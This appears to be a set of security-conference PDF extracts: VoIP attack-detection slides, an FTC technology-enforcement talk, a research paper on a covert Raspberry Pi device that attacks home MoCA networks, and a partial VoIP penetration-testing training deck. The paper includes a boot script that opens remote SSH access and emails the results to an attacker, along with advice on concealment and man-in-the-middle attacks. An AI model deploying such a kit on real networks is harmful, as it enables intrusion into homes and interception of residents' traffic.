SIP+Information+Gathering:+Unique+Messages++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ VoIPShark:+VoIP+Attack+Detection+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ +VoIP+Attack+Detection:+Bruteforce+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ +VoIP+Attack+Detection:+Invite+Flooding++ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ +VoIP+Attack+Detection:+Message+Flooding+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ +VoIP+Attack+Detection:+MiTM+Attempts+ PentesterAcademy.co m/ ©PentesterAcademy.com PentesterAcademy.co m/ +VoIP+Attack+Detection:+Unauthenticated+Users+ PentesterAcademy.co m/ ©PentesterAcademy.com Demo+ PentesterAcademy.co m/ ©PentesterAcademy.com Q+&+A+ + Github:+github.com/pentesteracademy/voipshark+ [email protected]+
pdf
SP 0:00:00 PLAY Whitney B. Merrill Attorney & Hacker @wbm312 Tech & the FTC Terrell McSweeny Commissioner Federal Trade Commission @TMcSweenyFTC DISCLOSURE The views expressed do not necessarily reflect the views of the Commission or any individual Commissioner. -- MENU -- WHAT IS THE FTC LOOKING BACK THE PRESENT LOOKING FORWARD Q&A -- MENU -- WHAT IS THE FTC LOOKING BACK THE PRESENT LOOKING FORWARD Q&A “It's standard stuff, it's just in a new medium.” http://articles.chicagotribune.com/1996-03-15/news/9603150062_1_ftc-lawyers-deceptive-computer-chips -- FRAUD -- Brian Corzine d/b/a/ Chase Consulting (1994) The First Internet Case First federal enforcement agency to take such an action BRANDZEL (1996) Sources: Network World, March 18, 1996. Mail Order Rule applied to Internet "supplying the world” with computer parts Offered computer memory chips for sale on Usenet Users never received chips -- DECEPTIVE ADVERTISING -- Site for Sore Eyes, Inc. (1993) Protecting the users…eyes “PROTECTION FROM UV RAYS TREATMENT: UV400: UV protective coating will protect your eyes from the harmful rays of the sun as well as from computer screens. UV radiation can cause redness and irritation to the eyes — and can also cause irreversible damage to the retina and cornea. This clear, non-toxic formula protects your eyes by absorbing 99% of all harmful UV rays." Hayes Microcomputer Products, Inc. (1994) FUD: Tick, Tick, Tick. Boom You’re Dead! A time bomb may be lurking inside your modem.” –FTC Complaint against Hayes Microcomputer “A modem’s failure to incorporate the Improved Escape Sequence with Guard Time does not create a substantial risk of data destruction.” Ads could not misrepresent “the extent to which . . . any product or service will reduce the risk of unauthorized access into such computer, or any such similar system . . . .” and “the extent to which any such product or service will maintain, protect, or provide security features that will enhance the security or privacy of any such computer (or any such similar system) or any data, that is stored in a computer, or any similar system, including personally identifiable information.” Bonzi Software, Inc. (2004) CyberSpy Software, LLC (2010) Spyware RemoteSpy “100% undetectable” way to “Spy on Anyone. From Anywhere.” -- SECURITY -- Modem Hijacking 1997: Audiotex Connection, Inc (Modem Hijacking) (1997) 1998: Beylen Telecom, Ltd. Download: david.exe to view “free” images from adult entertainment website Source: https://www.cnet.com/news/sex-sites-scam-big-bucks/ “We’re talking about a high-tech fraud that threatens traffic on the information superhighway.” ASUSteK (2016) Insecure Internet of Things Failure to mitigate disclosed vulnerabilities Ashley Madison (2016) No information security policy No reasonable access controls No intrusion detection Fake profiles -- PRIVACY -- Trans Union Corporation, Inc. (1993) Trans Union— consumer reporting database CRONUS Sold consumer credit data for marketing lists GeoCities (1999) • Disclosure of PII of children & adults to third-party marketers. • Told users optional info would not be disclosed to anyone, but disclosed anyways. • GeoKidz Club run by third-party "community leaders" hosted on the GeoCities Web site, who collected and maintained the information. InMobi (2016) • Permissions? What permissions? • Tracking consumer locations: wireless network location information to infer consumers’ physical location • Independent audit every 2 years for 20 years VIZIO (2017) February 2014 March 2016 -- OTHER -- WORKSHOPS 1995 &1996: Consumer Privacy on the Global Information Infrastructure: Discussions on Data Security and Consumer Access & Cookies 2007: Behavioral Advertising 2009: Exploring Privacy: Privacy Roundtable Series 2015: Start with Security Series 2016: Fall Technology Series (Drones, SmartTVs & Ransomware) SMART TVS Source: http://www.samsung.com/global/article/consumer-images/article/2011/10/12/PORTAL_Step1.jpg https://blog.malwarebytes.com/wp-content/uploads/2016/03/decrypting_petya.png RANSOMWARE CONTESTS 2013: FTC Robocall Challenge 2014: Zapping Rachel (DEF CON 22) 2015: Robocalls: Humanity Strikes Back (DEF CON 23) CONSUMER ED 1997: Kids Privacy Surf Day – pre-Children’s Online Privacy Protection Act 86% of sites surveyed were collecting PII from children without parental approval 2002: Dewie the e-Turtle – Developing a “culture of security” 2006: Tech-ade (Report 2008) 2015: Start with Security -- MENU -- WHAT IS THE FTC LOOKING BACK THE PRESENT LOOKING FORWARD Q&A WORKSHOPS AND CONFERENCES CONTESTS -- HOW AND WHY THE FTC -- BRINGS CASES -- MENU -- WHAT IS THE FTC LOOKING BACK THE PRESENT LOOKING FORWARD Q&A SHARING RESEARCH WITH THE FTC • Representations made to consumers • Screenshots of where you bought the device/software & those representations • Setup walkthrough (especially important for COPPA claims) • What did the consumer see? What was the consumer’s experience? • What kind of claims were made in advertising? • Vulnerability • What is it? • Who does it impact? • What kind of information is at risk? • Impact • Be creative, but only provide reasonable impacts (don’t oversell impact) • Vulnerability disclosure timeline & content (especially where you had hard time getting ahold of vendor) [email protected] -- MENU -- WHAT IS THE FTC LOOKING BACK THE PRESENT LOOKING FORWARD Q&A SP 0:45:00 STOP THANK YOU
pdf
Raspberry MoCA: an Automated Penetration Platform Andrew Hunt Volgeneau School of Engineering, George Mason University Fairfax, VA [email protected] Abstract— Media Over Coaxial Alliance (MoCA) is a protocol encapsulating Ethernet protocols over coaxial cabling common to interior television wiring. Previous work discussed the vulnerabilities presented by common implementations of the protocol. In this paper, these vulnerabilities are realized with the development of Raspberry MoCA, an embedded device that provides a drop-in, automated exploitation kit which can be installed outside the target structure in less than five minutes, providing remote access and complete control over the connecting LAN. I. INTRODUCTION Prior work on Media over Coaxial Alliance (MoCA) protocol analysis revealed a major vulnerability in common implementations [1]. The logical separation between the local area network (LAN) and wide area network (WAN) is defeated by the use of a single physical cable to transmit both signals. Most operational service providers (OSPs), such as Verizon and Cox, present the termination point of their services to the optical network terminator (ONT) attached to the exterior of the serviced building for easy maintenance. This unit converts the signal to a coaxial cable, using the MoCA protocol to encapsulate the Ethernet packets to a receiving MoCA bridge embedded in the provider’s provided network router within the building. The router binds both MoCA LAN services for video devices and MoCA WAN services from the OSP to the same cable wiring used within the structure. It also bridges the MoCA LAN to the other LAN networks – wireless and Ethernet devices. Because the WAN signal runs on the cable, it is necessary to run this coaxial cable outside to the ONT. When this occurs, the LAN signal is also exposed, as depicted in Figure 1. This presents a physical attack vector to any attacker willing to disconnect the ONT and insert a coaxial splitter to an attached MoCA-to-Ethernet bridge, and any Ethernet device. Building on the evidence presented in the prior work, an exploitation platform was built on an embedded processing system. The developed platform includes automated enabling of remote connection from the Internet to the newly installed LAN device, as well as demonstration tools to provide to safely demonstrate the ease of which the attacker can attach, enumerate, profile, and exploit the target LAN. II. PLATFORM DESIGN Several elements were considered in the design of a platform to engage in extra-domicile attack. First, attaching to the MoCA network outside the domicile requires a power source. The attacker cannot assume that the coaxial splitter or ONT will be conveniently located to a power source. Tapping the electrical utility stack requires specialized knowledge, risk of electrocution, and most importantly time to conduct. The longer the attacker is around the property, the more likely they are to be detected. Therefore, the attacker must assume that they will provide power to the device. This can be achieved with an inexpensive universal power supply (UPS) system, widely available in many stores. An APC BackUPS 350 ES was selected for its wide availability, available management software, and low cost [2,3]. With 200 volt-amps (VA) of stored power, a typical 3.5VA embedded unit would last about 60 hours. MoCA Networks Ground FIOS Fiber Optic Cable Coaxial Cable ActionTec Router Coaxial Cable ONT 2GHz 3-way Coaxial Splitter STB DVR “Home  Net”  Bridge: MoCA LAN Ethernet LAN Wireless LAN House Exterior Wall Promulgation of WAN network Promulgation of LAN networks Figure 1: Promulgation of LAN and WAN over MoCA The supply of power from a UPS is limited by the watts drawn from the battery over time against its storage capacity. This illustrates the importance of the second consideration in design, the device power footprint. The attack unit would draw minimal power to maximize the available time to attack. This would allow the attacker to plant the device, then engage in other routine activities or travel before connecting to the unit. This allows the attacker to maintain a less obvious persona and reduce the risk of immediate detection. Low-power devices also present a smaller physical footprint, the third major consideration. Smaller devices are easier to obscure beneath or behind utility meters or decorative plants frequently employed to hide unsightly wiring installations. Embedded devices come in a variety of sizes and capabilities. However, almost all are based on an ARM processing architecture due to its efficient assembly instruction set and low power requirements [4]. Since no off- the-shelf ARM units include a MoCA coaxial adapter with the board, an Ethernet-capable unit would need to be used with a Moca-to-Ethernet bridge. Our existing Netgear MCAB1001 and related cabling was employed for this purpose, slightly increasing the power load on the UPS. Alleviating the need to support the MoCA chipset directly opened up the available operating systems to choose from. However, the recently released Kali Linux succeeds BackTrack as the standard high-quality, supported distribution platform with a tested suite of tools for an attacker to employ [5]. Kali also provides ARM versions of their distribution, enabling its use to bootstrap this development. Using a standard toolkit is important to an attacker as it reduces the number of observables that might reveal them should the device be discovered and analysed, the third design consideration. Upon discovery, anyone would be able to tell the unit was an attack device. However, there would be far fewer artifacts to reveal the identity of the attacker on a standard build than on a customized build unique to the choices of the builder. The attacker has some assurance that without external sources of information, the discovery of the unit would reveal nothing more than the owner was attacked. Table 1: Raspberry MoCA Platform Components Vendor Model Description APC BackUPS 350 ES 200 VA Universal Power Supply Netgear MCAB1001 MoCA Coax-to- Ethernet Adapter RCA DH24SPR 2-way 5-2400 MHz coaxial splitter RCA VH606N 2x Digital RG-6 coaxial cables Element14 Raspberry Pi Model B R2 Embedded ARM board w/ Ethernet Transcend TS8GSDHC10E Transcend 8 GB Class 10 SDHC Flash Memory Card Raspberry Pi board case Motorola 5V micro-USB phone charger Belkin Cat-5e patch cable Connect the embedded device to the MoCA adapter The final consideration was performing the development on a standard, widely available board at minimal cost. Element14’s Raspberry Pi was selected as it is an inexpensive development ARM platform that is directly supported by Kali Linux. The unit also has a wide community of support providing accessories to weatherize, power, and protect the device with only a small investment. Providing a unit that the attacker does not mind losing the cost of enables the aggressive deployment of the units, commoditizing the attacker’s   costs and increasing the odds of a successful engagement. Table 1 shows the final list of components used to create the Raspberry MoCA Platform. With the materials assembled, Kali Linux was downloaded and flashed to the SD card. A USB keyboard and video cable, whether component or HDMI, and display device were required to complete the initial build. Once running, rageweb’s disk expansion procedure was employed to expand the Kali installation to the entire available disk space on the SD card, a 60% gain [6]. With available space, additional tools could now be loaded. However, these needed to be selective as not to overwhelm the device’s performance capabilities. First the LAN environment needed to be assessed to determine what services would be needed to achieve remote accessibility to the device, enumeration of the network, and eventual subversion of the LAN. III. ASSESSING THE MOCA LAN The MoCA LAN is provided by the MoCA root node, typically located on the OSP’s provided network router. A Verizon Actiontec MI424WR router was used to assess the capabilities of a typical MoCA router. This device was found to support Universal Plug-n-Play (UPnP), a technology that allows for the automated discovery of devices and services within a broadcast domain [7,8]. UPnP typically operates over UDP port 1900, providing and receiving broadcast information about and interpreting commands from other devices [9]. UPnP supports many protocols, including the Simple Service Discovery Protocol (SSDP) and Digital Network Living Alliance (DLNA), that support intra-LAN service establishment [10-16]. UPnP-Inspector and Miranda were used to assess the UPnP services active upon the network [17,18]. Both are Python- based toolkits that can actively probe or passively monitor the UPnP broadcast space to enumerate discovered machines and services offered. UPnP-Inspector also offers the ability to graphically browse and query specific environment settings provided by discovered devices [19]. While many devices provided information about the services they provided, it was determined that the focus of this effort would be on the gateway and the establishment of access, leaving the enumeration of other attached SSDP devices as an exercise for the attacker using tools like GUPnP, Rygel, Brisa, and Coherence [20-23]. This decision also reduced the footprint on the embedded device from these heavy, GUI-based programs. The gateway merely provided an interface via the Internet Gateway Device (IGD) protocol. IGD is essentially a command wrapper to forward ports through the firewall at the behest of requesting devices [24]. However, the assumption of IGD implementations is that every device on the LAN side of the firewall is trusted [25]. With no validation of requests, the firewall will open any arbitrary port and forward it to an internal device without authentication [26]. This makes the LAN vulnerable to devices that make illegitimate requests to open or close ports that affect other devices, client-side attacks that inject UPnP packets to the network, or nodes added to the network with malicious intent [27]. All nodes on the LAN are trusted nodes. IV. ENABLING REMOTE ACCESS With the discovery of the IGD protocol in play on the router, Kali was assessed for its ability to support the crafting of the UPnP IGD command to forward a port to the Raspberry MoCA’s running SSH session. This was achievable via Miranda, but it was a multi-step manual process to achieve. Another tool, MiniUPnP was acquired and found to be the smallest, most efficient UPnP tool encountered [28]. Like most Unix tools, MiniUPnP was designed to be feature specific and fast. Having the ability to be called from the command line with the necessary arguments for port redirection made MiniUPnP an excellent tool for scripting the port forwarding procedure. Table 2: rc.local code to establish port forwarding and reporting through a UPnP firewall #!/bin/sh -e # # rc.local sleep 120; upnpc -a `ip addr | fgrep "inet " \ | fgrep -v "host lo" | awk '{print $2}' \ | awk -F\/ '{print $1}'` 22 22 tcp \ | tee /tmp/report | mailx -s `ip addr \ | fgrep "inet " | fgrep -v "host lo" \ | awk '{print $2}' \ | awk -F\/ '{print $1}'`.report [email protected] exit 0 The short summary of the changes returned also provided the necessary information about the external IP address of the firewall, the port forwarded, and the internal IP address forwarded to that the attacker needs to connect to the Raspberry MoCA device. This was collected and codified into the rc.local script to execute, establish forwarding, and report the pertinent information to the attacker’s email address at power-on, as depicted in Table 2. Email was chosen as the delivery method for the establishment data to employ several advantages. Free email accounts are readily available and are difficult to attribute. Email constitutes a large amount of legitimate traffic to hide within, reducing the likely visibility of a small message. The protocol also transmits asynchronously, having many available tools to ensure delivery of the important data should there be a disruption in service, to ensure delivery of this critical message. While the chosen method sends the data in the clear, other methods, such as Google or Yahoo’s IMAP(S) services could be employed to provide more reliable, encrypted channels that blend into common LAN device, e.g. smartphone, communication streams [29]. V. EXPLOITING THE MOCA NETWORK With remote access to the LAN, the attacker has the advantage in assessing and choosing targets. With a limited time window to operate before the platform exhausts its stored power, the attacker would likely want to establish a more permanent foothold on one of the other network devices. Ettercap is a packet-spoofing and manipulation tool that is provided with the Kali distribution [30,31]. The tool provides a modular framework from which to commit a variety of network routing and addressing attacks. Of these, Address Resolution Protocol (ARP) spoofing provides the capability to redirect the entire local broadcast domain efficiently [32-34]. Utilizing the ARP man-in-the-middle (MITM) module, Ettercap enables the attacker to direct all non-gateway device traffic to the Raspberry MoCA unit. The tool includes a native forwarding capability, which passes the packets through its filters, then out to the gateway. The same works in reverse, creating a bi-directional packet capture and manipulation capability for the attacker. With access to LAN devices’ traffic, the attacker can profile the devices specifically, gaining detailed knowledge about device versions and services that can be exploited. The attacker may employ Metasploit for a direct attack upon a discovered vulnerability [35]. They may instead choose to use the BeEF framework to manipulate web traffic bound for a client device to inject redirects or exploitation code [36]. Karmetasploit is an integration of the Metasploit Framework and Karmeta, a tool to poison software upgrade requests for many common programs, enabling the attacker to silently corrupt network nodes with no user interaction [37-39]. With the establishment of alternative backchannels, the attacker would no longer need the Raspberry MoCA for primary use. They could retrieve it with a few minutes effort to disconnect the coaxial cable and charge it for a future engagement. Should the attacker lose access to the target, they only need to redeploy the Raspberry MoCA Platform to regain control. VI. DEMONSTRATION The primary goal of this project was to provide a finished penetration platform that could be used as a training tool to espouse knowledge of the vulnerability of the MoCA protocol as commonly deployed. This would allow for demonstration of the aforementioned subversion techniques, potentially on live networks, in a non-impactful, public, and open way. Security researcher Joshua Wright presented his work on a similar distribution called “I Love My Neighbors,” which performed traffic manipulation upon an open wireless honeypot to demonstrate to non-technical users the dangers of using unprotected open wireless networks [40]. The extent of those manipulations were simple, obvious, and many times humorous image modifications or web page redirections. Figure 2: Manipulated image demonstrates the nascent capability of Raspberry MoCA To enable this on the Raspberry MoCA, the squid configuration and URL rewriting scripts were acquired from Wright’s provided honeypot system image. Wright’s service configuration script was also modified heavily to fit the unified forwarding environment of the single-homed device. With the establishment of iptables port redirection the unit could receive and manipulate web traffic explicitly proxied to it [41]. Adding an Ettercap command to establish ARP MITM redirection for the entire LAN ensured that all hosts to be subverted, producing obvious yet innocuous picture manipulations, as seen in Figure 2. VII. RESULTS Raspberry MoCA successfully redirects the entire MoCA LAN segment and its bridged wireless and Ethernet segments to the attacking device. Unwitting devices have their web traffic passed through the transparent Squid proxy and the images manipulated with the URL rewrite function [42]. The single-core ARM11 processor of the Raspberry Pi base drags noticeably when performing image manipulation as configured by the original scripts. This improved when the number of available processes was reduced from 15 Squid url_rewrites to five and 25 Apache processes to five. This reduced the memory footprint and freed up some of the interrupt contention of the processor. Redirection of traffic via Ettercap’s ARP MITM module operated flawlessly. The device was capable of managing the ARP poisons for targeted and LAN-wide subversions. Filters were successfully applied to test packet data manipulation of the word ‘dog’ to ‘cat’. This demonstrates that the simple insertion of an iframe or javascript redirect to malicious code into a target’s web stream would not provide a noticeable latency to the user. VIII. MITIGATIONS As mentioned in prior work, monitoring of valid ARP announcements, MoCA and DHCP rogue nodes would provide indicators of this attack [1]. However, most home users have neither the knowledge or capability to employ these defences or monitor them effectively. Further sensing strategies that may have detected this attack include the creation of a monitoring script to dump the router IGD forwarding state and compare it for changes. These will happen from time to time, but with a log of the activity they can later be analysed or profiled to alert on suspicious mappings to known sensitive ports. Another strategy would be to test the router’s firewall implementation regardless of its reporting. An host external to the firewall would be needed to scan the external facing interface for open ports. This tool should report on unauthorized or unknown openings. The last mitigation strategy acquiesces to the notion that the MoCA LAN is not defendable as deployed. However, its risk to the greater network can be reduced through the use of a third-party firewall. The ONT must first be configured to use an Ethernet connection to bridge the connection of the building to the OSP instead of MoCA WAN. However, with this accommodation, the ActionTec router and its untrustable MoCA LAN can be isolated to an untrusted network zone on the independent firewall. With other more trusted networks connected to other zones and traffic between the networks denied unless explicitly defined, the impact of a MoCA LAN subversion can be limited. IX. CONCLUSIONS The Raspberry MoCA Platform provides an effective automated penetration kit at a cost minimal enough to consider disposable. With the integration of a transparent proxy server, it also serves as an affordable education vehicle to demonstrate the threat to MoCA networks. While the manipulation of large files at layer 7 proved to be a drag on performance for this single-core, low-power ARM processor, traffic manipulation and injection were accomplished with ease. REFERENCES [1] A. Hunt. “Media Over Coaxial Alliance (MoCA): Overview and Security Posture.” Available by request. [2] “Back-UPS ES - Product   Information,”   APC by Schneider Electric. [Online]. Available: http://www.apc.com/products/family/index.cfm?id=21. [Accessed: 26- Apr-2013]. [3] A.   Kropelin,   “Apcupsd,   a   daemon   for   controlling   APC   UPSes,”   13- Sep-2011. [Online]. Available: http://www.apcupsd.com/. [Accessed: 25-Apr-2013]. [4] W.   Wang   and   T.   Dey,   “A   Survey   on   ARM   Cortex   A   Processors.”   [Online]. Available: http://www.cs.virginia.edu/~skadron/cs8535_s11/ARM_Cortex.pdf. [Accessed: 26-Apr-2013]. [5] Offensive  Security,  “Install  Kali  ARM  on  a  Raspberry  Pi,”  Kali Linux Official Documentation. [Online]. Available: http://docs.kali.org/armel-armhf/install-kali-linux-arm-raspberry-pi. [Accessed: 18-Apr-2013]. [6] rageweb,   “Raspi-config   in   Kali,”   Hypothetically Planned Trajectory, 21-Mar-2013. [Online]. Available: http://rageweb.info/2013/03/21/raspi-config-in-kali/. [Accessed: 18- Apr-2013]. [7] A. Presser, L. Farrell,   D.   Kemp,   and   W.   Lupton,   “UPnP   Device   Architecture   1.1,”   UPnP Forum, 15-Oct-2008. [Online]. Available: http://www.upnp.org/specs/arch/UPnP-arch-DeviceArchitecture- v1.1.pdf. [Accessed: 17-Feb-2013]. [8] “UPnP   Forum,”   2013.   [Online].   Available:   http://www.upnp.org/.   [Accessed: 17-Feb-2013]. [9] S.   Gibson,   “GRC | Port   Authority,   for   Internet   Port   1900,”   Gibson Research Corporation. [Online]. Available: http://www.grc.com/port_1900.htm. [Accessed: 17-Feb-2013]. [10] “Simple   Service   Discovery   Protocol,”   Wikipedia, the free encyclopedia. 13-Feb-2013. [11] C.   Gueguen,   “Simple   Service   Discovery   Protocol   (SSDP),”   The Wireshark Wiki, 02-Mar-2009. . [12] Y. Goland, T. Cai, P. Leach, Y.  Gu,  and  S.  Albright,  “Simple  Service   Discovery   Protocol/1.0:   Operating   without   an   Arbiter,”   Internet Engineering Task Force, 28-Oct-1999. [Online]. Available: https://tools.ietf.org/html/draft-cai-ssdp-v1-03. [Accessed: 17-Feb- 2013]. [13] R. Ahmed, L. Limam,  J.  Xiao,  Y.  Iraqi,  and  R.  Boutaba,  “Resource  and   Service Discovery in Large-Scale, Multi-Domain   Networks,”   IEEE Communications Surveys and Tutorials, Quarter 2007. [14] S.   Cheshire,   B.   Aboba,   and   E.   Guttman,   “RFC   3927:   Dynamic   Configuration of IPv4 Link-Local   Addresses,”   Internet Engineering Task Force, May-2005. [Online]. Available: http://www.ietf.org/rfc/rfc3927.txt. [Accessed: 17-Feb-2013]. [15] B.  Langley,  M.  Paolucci,  and  K.  Sycara,  “Discovery  of  Infrastructure   in Multi-Agent   Systems.”   [Online].   Available:   http://www.cs.cmu.edu/~softagents/papers/infrastructureDiscovery.pdf. [Accessed: 17-Feb-2013]. [16] E.   Lachinov,   “Digital   Living   Network   Alliance,”   Wikipedia, the free encyclopedia. 14-Feb-2013. [17] C.   Heffner,   “Miranda   Readme   File.”   [Online].   Available:   file:///home/ahunt/Documents/isa564/paper/miranda- 1.3/docs/readme.html. [Accessed: 18-Mar-2013]. [18] C.   Heffner,   “miranda-upnp - Python-based interactive UPnP client - Google   Project   Hosting.”   [Online].   Available:   http://code.google.com/p/miranda-upnp/. [Accessed: 18-Mar-2013]. [19] F.   Scholz,   “UPnP-Inspector   0.2.2,”   Python Package Index. [Online]. Available: https://pypi.python.org/pypi/UPnP-Inspector/0.2.2. [Accessed: 18-Mar-2013]. [20] T. Potter, J.-M.   Gurney,   and   Fluendo,   “Coherence   - a DLNA/UPnP Framework for the Digital Living - Trac,”   02-Jan-2010. [Online]. Available: http://coherence.beebits.net/. [Accessed: 18-Mar-2013]. [21] J.  Georg,  J.  Baayen,  R.  Burton,  and  Z.  Ali,  “GUPnP,”  GNOME Live! [Online]. Available: https://live.gnome.org/GUPnP/. [Accessed: 19- Feb-2013]. [22] Z.   Ali,   J.   Georg,   T.   Vermier,   and   J.   Henstridge,   “Rygel,”   GNOME Live!, 11-Feb-2013. [Online]. Available: https://live.gnome.org/Rygel. [Accessed: 17-Mar-2013]. [23] “4.   ssdp   — SSDP Server implementation — python-brisa UPnP framework   v0.10.0   documentation.”   [Online].   Available:   http://brisa.garage.maemo.org/doc/html/upnp/ssdp.html. [Accessed: 17-Feb-2013]. [24] G.  George,  E.  Wirt,  and  D.  Blueman,  “Linux  UPnP  Internet  Gateway   Device,”   08-Feb-2007. [Online]. Available: http://linux- igd.sourceforge.net/documentation.php. [Accessed: 18-Mar-2013]. [25] vwochnik,   “Administrating   Your   Gateway   Device   Via   UPnP,”   HowtoForge - Linux Howtos and Tutorials, 21-Apr-2009. [Online]. Available: http://www.howtoforge.com/administrating-your-gateway- device-via-upnp. [Accessed: 17-Mar-2013]. [26] S.   Gibson,   “GRC | UnPlug n’   Pray   - Disable the Dangerous UPnP Internet   Server,”   Gibson Research Corporation, 03-Mar-2008. [Online]. Available: http://www.grc.com/unpnp/unpnp.htm. [Accessed: 17-Feb-2013]. [27] H.  Moore,  “Security  Flaws  in  Universal  Plug  and  Play:  Unplug,  Don’t   Play,”   29-Jan-2013. [Online]. Available: https://community.rapid7.com/servlet/JiveServlet/download/2150-1- 16596/SecurityFlawsUPnP.pdf. [Accessed: 17-Feb-2013]. [28] T.   Bernard,   “MiniUPnP   Project   HomePage,”   Feb-2013. [Online]. Available: http://miniupnp.free.fr/. [Accessed: 25-Apr-2013]. [29] “Google   Apps  Platform  — Google  Developers.”  [Online].  Available:   https://developers.google.com/google-apps/gmail/imap_extensions. [Accessed: 26-Apr-2013]. [30] “Ettercap   (computing),”   Wikipedia,   the   free   encyclopedia.   29-Oct- 2012. [Online]. Available: http://en.wikipedia.org/w/index.php? title=Ettercap_(computing)&oldid=520362724. [Accessed: 12-Nov- 2012]. [31] A.   Ornaghi   and   M.   Valleri,   “Ettercap.”   [Online].   Available:   http://ettercap.sourceforge.net/. [Accessed: 12-Nov-2012]. [32] “ARP   spoofing,”   Wikipedia,   the   free   encyclopedia.   12-Nov-2012. [Online]. Available: http://en.wikipedia.org/w/index.php? title=ARP_spoofing&oldid=522187503. [Accessed: 12-Nov-2012]. [33] S.   Whalen,   “An   Introduction   to   Arp   Spoofing,”   Apr-2001. [Online]. Available: http://dl.packetstormsecurity.net/papers/protocols /intro_to_arp_spoofing.pdf. [Accessed: 12-Nov-2012]. [34] A. Ornaghi and M. Valleri,  “Man  In  The  Middle  Attacks  Demos,”  in   BlackHat Conference USA, Las Vegas, NV, 2003. [Online]. Available: http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-ornaghi- valleri.pdf. [Accessed: 12-Nov-2012]. [35] “Penetration   Testing   Software   |   Metasploit.”   [Online].   Available:   http://www.metasploit.com/. [Accessed: 19-Nov-2012]. [36] W.   Alcorn,   “BeEF   - The   Browser   Exploitation   Framework   Project.”   [Online]. Available: http://beefproject.com/. [Accessed: 19-Nov-2012]. [37] M. Vallentin and Y. Ben-David,  “Persistent  Browser  Cache  Poisoning,”   2010. [Online]. Available: http://www.eecs.berkeley.edu/ ~yahel/papers/Browser-Cache-Poisoning.Song.Spring10.attack- project.pdf. [Accessed: 19-Nov-2012]. [38] F.  Amato  and  F.  Kirschbaum,  “You  STILL  have  pending  upgrades!,”   in DefCon 18, Las Vegas, NV, 2010. [Online]. Available: https://www.defcon.org/images/defcon-18/dc-18-presentations/Amato- Kirschabum/DEFCON-18-Amato-Kirschabum-Evilgrade.pdf. [Accessed: 19-Nov-2012]. [39] V.  Oezer,  “The  Evil  Karmetasploit  Upgrade,”  in  Nullcon,  Zuri,  India,   2009. [Online]. Available: http://nullcon.net/nullcon2010presentation /Veysel_nullcon2010_Paper.pdf. [Accessed: 19-Nov-2012]. [40] J.  Wright,  “Hacking  Your  Friends  and  Neighbors  For  Fun…  (no  profit,   just fun) - hacking-friends,”   Will Hack for Sushi, 18-Jan-2013. [Online]. Available: http://neighbor.willhackforsushi.com/hacking- friends.pdf. [Accessed: 12-Apr-2013]. [41] “Linux   iptables:   Port   Redirection   Example.”   [Online].   Available:   http://www.cyberciti.biz/faq/linux-port-redirection-with-iptables/. [Accessed: 26-Apr-2013]. [42] “SquidFaq/InterceptionProxy   - Squid   Web   Proxy   Wiki.”   [Online].   Available: http://wiki.squid-cache.org/SquidFaq/InterceptionProxy. [Accessed: 26-Apr-2013].
pdf
www.senseofsecurity.com.au © Sense of Security 2015 Page 1 – 8 August 2015 Compliance, Protection & Business Confidence Sense of Security Pty Ltd Sydney Level 8, 66 King Street Sydney NSW 2000 Australia Melbourne Level 10, 401 Docklands Drv Docklands VIC 3008 Australia T: 1300 922 923 T: +61 (0) 2 9290 4444 F: +61 (0) 2 9290 4455 [email protected] www.senseofsecurity.com.au ABN: 14 098 237 908 Sense of Security VoIP Security Testing Training Fatih Ozavci Christos Archimandritis 8 August 2015 www.senseofsecurity.com.au © Sense of Security 2015 Page 2 – 8 August 2015 Agenda • Network Infrastructure • VoIP Server Security • Signalling Security • Media Transport Security • Cloud VoIP Solutions Security • VoIP Client Security www.senseofsecurity.com.au © Sense of Security 2015 Page 3 – 8 August 2015 Introduction www.senseofsecurity.com.au © Sense of Security 2015 Page 4 – 8 August 2015 Trainers’ Background • Fatih Ozavci, Principal Security Consultant • Interests • VoIP & *Phreaking • Mobile Applications • Network Infrastructure • Embedded Devices • Hardware and IoT Hacking • Author of Viproy VoIP Penetration Testing Kit • Public Speaker and Trainer • Blackhat, Defcon, HITB, AusCert, Troopers, Ruxcon www.senseofsecurity.com.au © Sense of Security 2015 Page 5 – 8 August 2015 Trainers’ Background • Chris Archimandritis – Senior Security Consultant • Interests • VoIP and IMS Infrastructure • Mobile Applications • SAP Environment and Applications Security • Hardware Hacking • Network Infrastructure www.senseofsecurity.com.au © Sense of Security 2015 Page 6 – 8 August 2015 The Art of VoIP Hacking Test Lab www.senseofsecurity.com.au © Sense of Security 2015 Page 7 – 8 August 2015 The Art of VoIP Hacking Test Lab www.senseofsecurity.com.au © Sense of Security 2015 Page 8 – 8 August 2015 Current Threats and Attacker Skills General assumptions: • The VoIP Networks are isolated • Hacking VoIP requires detailed knowledge • Attacks target only privacy and toll fraud • Pretending VoIP services are configured well Real life: • Broken physical security, weak network auth • After Viproy, no knowledge required anymore • How about client attacks, intelligence and APT • Default passwords, obsolete systems… www.senseofsecurity.com.au © Sense of Security 2015 Page 9 – 8 August 2015 Pen-Test for UC, IMS and NGN • VoIP Infrastructure, design and protocol analysis • Authorisation and authentication analysis • Signalling security analysis for SIP and H.248 • Advanced analysis of business functionality • Transport encryption analysis • Media streaming and MITM analysis • Analysis of essential and supportive services • Management services and protocol analysis • Hosted/cloud services analysis • Call centre analysis www.senseofsecurity.com.au © Sense of Security 2015 Page 10 – 8 August 2015 Viproy VoIP Pen-Testing Toolkit • Viproy VoIP Penetration and Exploitation Kit • Testing modules for Metasploit Framework • SIP & Skinny libraries for the module development • SIP custom header and authentication support • Trust analyser, SIP proxy bounce, MITM proxy, Skinny • Modules • SIP Options, Register, Invite, Message • SIP Brute Forcer, Enumerator • SIP trust analyser, SIP proxy, Fake service • Cisco Skinny analysers • Cisco CUCM/CUCDM exploits • MSRP Support, Fuzzing for SIP and SDP www.senseofsecurity.com.au © Sense of Security 2015 Page 11 – 8 August 2015 How Viproy Helps Fuzzing Tests • Skeleton for Feature Fuzzing, NOT Only SIP Protocol • Multiple SIP Service Initiation • Call fuzzing in many states, response fuzzing • Integration With Other Metasploit Features • Fuzzers, encoding support, auxiliaires, etc. • Custom Header Support • Future compliance, vendor specific extensions, VAS • Raw Data Send Support (Useful with External Static Tools) • Authentication Support • Authentication fuzzing, custom fuzzing with authentication • Less Code, Custom 